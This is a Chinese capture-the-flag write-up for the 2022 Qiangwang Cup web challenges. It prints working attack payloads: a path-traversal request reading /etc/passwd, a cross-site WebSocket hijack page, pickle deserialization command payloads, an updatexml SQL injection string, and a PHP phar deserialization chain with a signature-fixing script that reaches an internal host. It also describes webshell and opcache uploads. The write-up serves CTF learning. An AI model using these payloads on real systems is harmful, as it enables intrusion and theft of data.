2022强网杯

2022-08-10 16:21:40 浏览数 (1)

2022强网杯

2022-08-01 10:08:00
ctf - wp

强网先锋

rcefile

www.zip源码泄露。

发现黑名单中少了phar后缀,尝试上传phar

访问getshell:

flag在根目录下

WP-UM

提供源码,根据源码可知用的是user-meta插件,有已知漏洞:

https://www.zilyun.com/23036.html

代码语言:javascript复制
POST /wp-admin/admin-ajax.php HTTP/1.1<br>
Accept: */*<br>
Accept-Language: en-GB,en;q=0.5<br>
Accept-Encoding: gzip, deflate<br>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br>
X-Requested-With: XMLHttpRequest<br>
Content-Length: 158<br>
Connection: close<br>
Cookie: [subscriber ]<br>
<br>
field_name=test&filepath=/../../../../../../../../etc/passwd&field_id=um_field_4&form_key=Upload&action=um_show_uploaded_file&pf_nonce=4286c1c56a&is_ajax=true

可利用该漏洞来判断文件是否存在,因为:

代码语言:javascript复制
猫哥最近用wordpress搭建了一个个人博客,粗心的猫哥因为记性差,所以把管理员10位的账号作为文件名放在/username下和15位的密码作为文件名放在/password下。

并且存放的时候猫哥分成一个数字(作为字母在密码中的顺序)+一个大写或小写字母一个文件,例如admin分成5个文件,文件名是1a 2d 3m 4i 5n

先注册用户,上传文件获取nonce。

利用漏洞可判断出密码,先大写后小写,写脚本爆即可(题目很卡,还不如手测快):

代码语言:javascript复制
MaoGeYaoQiFeiLa

而用户名在发布的文章中可看见作者为:

代码语言:javascript复制
MaoGePaMao

登陆后台后利用主题文件编辑器写入webshell:

代码语言:javascript复制
/wp-content/themes/twentytwenty/404.php

flag在:/usr/local/This_1s_secert

web

babyweb

随意注册账号后登陆,发现bot的主要功能就是bugreport和changepw,查看源码:

代码语言:javascript复制
var ws = null;
var url = "ws://"   window.location.host   "/bot";
function sendtobot() {
if (ws) {
var msg = document.getElementById("sendbox").value;
...

同时抓包发现无论是bugreport或者changepw都是通过websocket发给bot,并且bugreport是向管理员报告漏洞页面,由此想到类似csrf的CSWSH,测试许久后发现根据题目描述修改为内网ip端口,部署页面:

代码语言:javascript复制
<script>
function ws(){
        ws = new WebSocket("ws://127.0.0.1:8888/bot");
        ws.onopen = function(event){
        var msg = "changepw aaaaa";
        ws.send(msg);
        }
}
ws();
</script>

修改密码后登陆admin,买了一个hint取得源码。

可利用json在python和golang中的解析差异购买flag,app.py的逻辑是取json中的product去给到result,而最后的结果也是由result决定的,传入pay.go中的则是取request.get_data()[1:],在jsonparser.ArrayEach中同样是取product,但区别在于同时存在两个product时python取第二个,golang取第一个,因此传入:

代码语言:javascript复制
{
"product":[{"id":1,"num":0},{"id":2,"num":-1}],
"product":[{"id":1,"num":0},{"id":2,"num":1}]
}

第一个product可使金钱增加,第二个product则可绕过golang的判断update数据库中的字段从而取得flag,修改其中任意一个都可以购买flag。

crash

给了源码,balancer可以pickle反序列化,同时只是过滤了R,直接绕过即可。

i

代码语言:javascript复制
b'''(S'whoami'
ios
system
.'''

o

代码语言:javascript复制
b'''(cos
system
S'whoami'
o.'''

flag in 504 page

尝试直接sleep 100s后发现服务器直接502,由于服务器是nginx启动的,经过搜索找到文章:https://www.cnblogs.com/rexcheny/p/11179643.html

代码语言:javascript复制
这个原因就是Nginx的proxy_read_timeout超时时长小于,后端处理时长。但其根本原因是当Nginx的read或者send到达超时时长后端还没有返回响应那么Nginx就会主动断开和后端的,也就是主动发送FIN,从而产生了504

sleep过长会导致502,因此可以让服务器连续处理sleep,也就是说同时发起多个sleep,nginx按顺序响应,但在某一个请求中会一直超时从而主动断开产生504。

在cookie处设置userdata为如下的base64

代码语言:javascript复制
(cos
system
S'sleep 10'
o.

用burp发多个包,在某个包中即可取得504拿到flag。

easylogin

根据hint:

代码语言:javascript复制
题目中wordpress自定义了action,相关漏洞在各大论坛上均有复现,复现方式基本分为2种,请自行尝试

jquery sql注入漏洞:

代码语言:javascript复制
action=123123&query_vars[tax_query][1][field]=term_taxonomy_id&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1) or updatexml(0x7e,concat(1,database()),0x7e)#

暂时不清楚如何利用,不过还有一个8888的站,联想到注入该站获取密码。

通过在本地安装moodle后查看数据库发现密码无法解密,不过注意到数据库中有一个表名为mdl_user_password_resets的表,里面存有token,同时通过测试发现发送找回密码时会存入该token,在重置密码时带有该token即可重置,密码不能为弱密码。

代码语言:javascript复制
token=<token>&username=admin&password=Admin@123&password2=Admin@123&submitbutton=Save changes

后台上传插件rce,flag在/etc/mytest里面。

easyweb

showfile处简单绕一下:

代码语言:javascript复制
./demo/../index.php

拖出来源码,经过测试可以用phar协议,同时源码有个class.php,联想到phar反序列化。

class.php一个很明显的pop链,不过有wakeup尝试用改属性数量绕过,发现需要绕过签名:

根据:

http://www.yongsheng.site/2022/05/14/phar/

代码语言:javascript复制
from hashlib import sha1

file = open("test.phar","rb").read()
text = file[:-28]  #读取开始到末尾除签名外内容
last = file[-8:]   #读取最后8位的GBMB和签名flag
new_file = text sha1(text).digest()   last  #生成新的文件内容,主要是此时Sha1正确了。
open("new.jpg","wb").write(new_file)

上传点直接用PHP_SESSION_UPLOAD_PROGRESS来绕过就行了。

读proc/net/tcp发现有个10.10.10.10的机器,直接利用curl去读flag:

代码语言:javascript复制
<?php

class GuestShow{
    public $file;
    public $contents;
    public function __construct($file)
    {

        $this->file=$file;
    }
}


class AdminShow{
    public $source;
    public $str;
    public $filter;
    public function __construct($file)
    {
        $this->source = $file;
        $this->schema = 'http://';
    }
}
    @unlink("test.phar");
    $phar = new Phar("test.phar");//后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub
    $o = new GuestShow(new AdminShow("10.10.10.10:80/?url=file:///flag"));
    $phar->setMetadata($o);//将自定义的meta-data存入manifest
   //var_dump($phar->getMetadata());
    $phar->addFromString("test.txt", "test");//添加要压缩的文件
    $phar->stopBuffering();
    $content = str_replace('4:{','9:{',file_get_contents('test.phar'));
    file_put_contents('test.phar', $content);
    system('python3 check.py');

uploadpro

upload目录测试后发现存在nginx alias路径穿越,扫到题目存在phpinfo,显示使用了opcache拓展,同时文件上传运行bin后缀,很明显上传opcache getshell。

查看题目拿到opcache路径:

代码语言:javascript复制
/tmp/opcache/a06090313e406ccd069625aabb3cded7/var/www/html/

拿下index.php,简单逆了一下能够发现有个参数prefix,测试了一下可以指定上传前缀,直接起个docker生成bin文件,修改systemid上传即可getshell。

参考0ctf ezdoor:https://www.cnblogs.com/tr1ple/p/11194452.html

我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=35uuxkmnyqucc

本文原创于HhhM的博客,转载请标明出处。

0 人点赞